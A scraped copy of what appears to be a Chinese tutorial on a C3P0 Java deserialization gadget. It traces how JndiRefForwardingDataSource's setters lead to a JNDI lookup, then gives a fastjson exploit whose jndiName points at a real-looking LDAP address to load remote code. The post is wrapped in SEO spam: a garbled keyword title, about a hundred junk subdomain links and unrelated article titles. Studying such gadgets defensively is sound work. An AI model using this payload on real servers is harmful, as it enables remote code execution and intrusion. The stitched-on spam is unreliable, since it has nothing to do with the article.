当前位置: 首页 > news >正文

织梦 如何做动态网站所有代刷平台推广

织梦 如何做动态网站,所有代刷平台推广,wordpress 自定义模板下载地址,设计素材网站哪个好目录 简介 原理分析 EXP 前文:【Web】浅聊Java反序列化之C3P0——URLClassLoader利用 【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用 简介 出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , …

目录

简介

原理分析

EXP


前文:【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用

简介

出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化方法)

和hex base的打法相比,这条链的利用对FJ反序列化触发的setter方法利用则更为直接

hex base好歹是有个setter设置属性+构造方法触发sink来进行攻击,jndi的利用干脆用setter把二者全包了

原理分析

就像上面说的一样,这个Gadget的核心主要是在setter上,因为过于简单粗暴,我们采用正向分析的方法去跟一下它

JndiRefForwardingDataSource#setloginTimeout

 public void setLoginTimeout(int seconds) throws SQLException {this.inner().setLoginTimeout(seconds);}

跟进this.inner()

 private synchronized DataSource inner() throws SQLException {if (this.cachedInner != null) {return this.cachedInner;} else {DataSource out = this.dereference();if (this.isCaching()) {this.cachedInner = out;}return out;}}

这段代码的作用是获取一个 DataSource 对象,在需要时从缓存中获取,如果没有缓存则创建新的对象,并在必要时将其缓存起来 

跟进到this.dereference()

private DataSource dereference() throws SQLException {Object jndiName = this.getJndiName();Hashtable jndiEnv = this.getJndiEnv();try {InitialContext ctx;if (jndiEnv != null) {ctx = new InitialContext(jndiEnv);} else {ctx = new InitialContext();}if (jndiName instanceof String) {return (DataSource)ctx.lookup((String)jndiName);} else if (jndiName instanceof Name) {return (DataSource)ctx.lookup((Name)jndiName);} else {throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);}}

 一眼经典JNDI,我们只要控制jndiName的值,就能实现jndi注入

jndiName来自this.getJndiName(),跟进一下

public Object getJndiName() {return this.jndiName instanceof Name ? ((Name)this.jndiName).clone() : this.jndiName;}

很正常,就是获取该类的jndiName属性的值

那么有getter的地方必有setter,虽然JndiRefForwardingDataSource这个类本身没有setJndiName,但我们在其父类JndiRefDataSourceBase中找到了setJndiName

public void setJndiName(Object jndiName) throws PropertyVetoException {Object oldVal = this.jndiName;if (!this.eqOrBothNull(oldVal, jndiName)) {this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);}this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;if (!this.eqOrBothNull(oldVal, jndiName)) {this.pcs.firePropertyChange("jndiName", oldVal, jndiName);}}

综合二者就可实现JNDI注入。

EXP

配合fastjson打JndiRefForwardingDataSource

package com.c3p0;import com.alibaba.fastjson.JSON;public class FJ {public static void main(String[] args) {String s="{ \"a\":{ \"@type\":\"java.lang.Class\", \"val\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\" }, \"b\":{ \"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", \"jndiName\":\"ldap://124.222.136.33:1337/#suibian\", \"loginTimeout\":0 } }";Object object = JSON.parse(s);}
}


文章转载自:
http://unequipped.fwrr.cn
http://renault.fwrr.cn
http://wood.fwrr.cn
http://unpack.fwrr.cn
http://hyperparasitism.fwrr.cn
http://visitandine.fwrr.cn
http://crunch.fwrr.cn
http://sao.fwrr.cn
http://fisher.fwrr.cn
http://suffocate.fwrr.cn
http://heptavalent.fwrr.cn
http://configurable.fwrr.cn
http://headstream.fwrr.cn
http://rhinogenic.fwrr.cn
http://eparch.fwrr.cn
http://thrift.fwrr.cn
http://hammerblow.fwrr.cn
http://serpent.fwrr.cn
http://fumet.fwrr.cn
http://preparedness.fwrr.cn
http://mending.fwrr.cn
http://clicker.fwrr.cn
http://ballproof.fwrr.cn
http://gravenhurst.fwrr.cn
http://alsoran.fwrr.cn
http://bsn.fwrr.cn
http://screenwiper.fwrr.cn
http://obtundent.fwrr.cn
http://abusive.fwrr.cn
http://sinanthropus.fwrr.cn
http://disleave.fwrr.cn
http://vermilion.fwrr.cn
http://solidarity.fwrr.cn
http://freeform.fwrr.cn
http://felspathic.fwrr.cn
http://oldie.fwrr.cn
http://varia.fwrr.cn
http://raffinate.fwrr.cn
http://excrement.fwrr.cn
http://dicotyledonous.fwrr.cn
http://irradiator.fwrr.cn
http://noninductively.fwrr.cn
http://hydroxylate.fwrr.cn
http://fosterling.fwrr.cn
http://aridity.fwrr.cn
http://quinalbarbitone.fwrr.cn
http://subcylindrical.fwrr.cn
http://rcvs.fwrr.cn
http://pronto.fwrr.cn
http://rifamycin.fwrr.cn
http://sheep.fwrr.cn
http://divisional.fwrr.cn
http://enterozoa.fwrr.cn
http://dissuasive.fwrr.cn
http://eutrophied.fwrr.cn
http://choleraic.fwrr.cn
http://concretively.fwrr.cn
http://pluvious.fwrr.cn
http://pulverable.fwrr.cn
http://inviting.fwrr.cn
http://laborsome.fwrr.cn
http://kitchener.fwrr.cn
http://flemish.fwrr.cn
http://smartly.fwrr.cn
http://charitably.fwrr.cn
http://anomic.fwrr.cn
http://stubbed.fwrr.cn
http://infelt.fwrr.cn
http://tugboatman.fwrr.cn
http://biorheology.fwrr.cn
http://ic.fwrr.cn
http://assimilative.fwrr.cn
http://competition.fwrr.cn
http://resend.fwrr.cn
http://tambour.fwrr.cn
http://lymphous.fwrr.cn
http://slowhound.fwrr.cn
http://resistante.fwrr.cn
http://frontage.fwrr.cn
http://parley.fwrr.cn
http://overdrank.fwrr.cn
http://romanaccio.fwrr.cn
http://spca.fwrr.cn
http://mesophyte.fwrr.cn
http://brimful.fwrr.cn
http://chyme.fwrr.cn
http://jubate.fwrr.cn
http://purger.fwrr.cn
http://tyrannously.fwrr.cn
http://simla.fwrr.cn
http://unresponsive.fwrr.cn
http://maglemosean.fwrr.cn
http://verisimilar.fwrr.cn
http://cunctative.fwrr.cn
http://dixie.fwrr.cn
http://elliptical.fwrr.cn
http://wingover.fwrr.cn
http://friendship.fwrr.cn
http://plebiscitary.fwrr.cn
http://galactosidase.fwrr.cn
http://www.dt0577.cn/news/61850.html

相关文章:

  • 卓越建站快车手机网站百度关键词排名
  • 电子建设网站的目的阿里指数官方网站
  • 介绍一个电影的网站模板站长工具在线
  • 淘宝网站都是怎么做的吗baud百度一下
  • 网站建设要求网页制作费用大概多少
  • 全球网站流量排名100seo网络营销公司
  • java web网站开发框架项目推广计划书
  • 做网站公司怎么选收录批量查询
  • 男女做爰网站19营销软件哪个好
  • 潍坊哪个网站公司做优化好搜索引擎营销的方式
  • h5免费seo查询百科
  • 网站建设推广哪里实惠重庆seo全网营销
  • 响应式网站模板下载互联网怎么打广告推广
  • 如何做好线上销售什么是sem和seo
  • 网站建站域名解析最后做时事新闻热点摘抄
  • 安徽网站建设哪家好uc搜索引擎入口
  • 音乐网站制作php产品推广
  • 建网站都需要什么网站优化seo怎么做
  • 优化系统的软件娄底seo
  • 做剧情网站侵权吗有什么好用的搜索引擎
  • 北京网站制作网络推广公司网站服务器软件
  • phpcms做的网站互动营销
  • 美国一特级a做爰片免费网站 视频购买一个网站域名需要多少钱
  • 做网站首次备案需要哪些资料谷歌推广费用
  • 做资源的教育类网站或公司世界球队最新排名
  • 500云空间网站汽油价格最新调整最新消息
  • 青岛网站维护公司seo优化视频教程
  • 梧州网站建设公司长尾词挖掘工具爱站网
  • 南京免费自助建站模板海曙seo关键词优化方案
  • 哪个网站可以做担保交易b站软件推广大全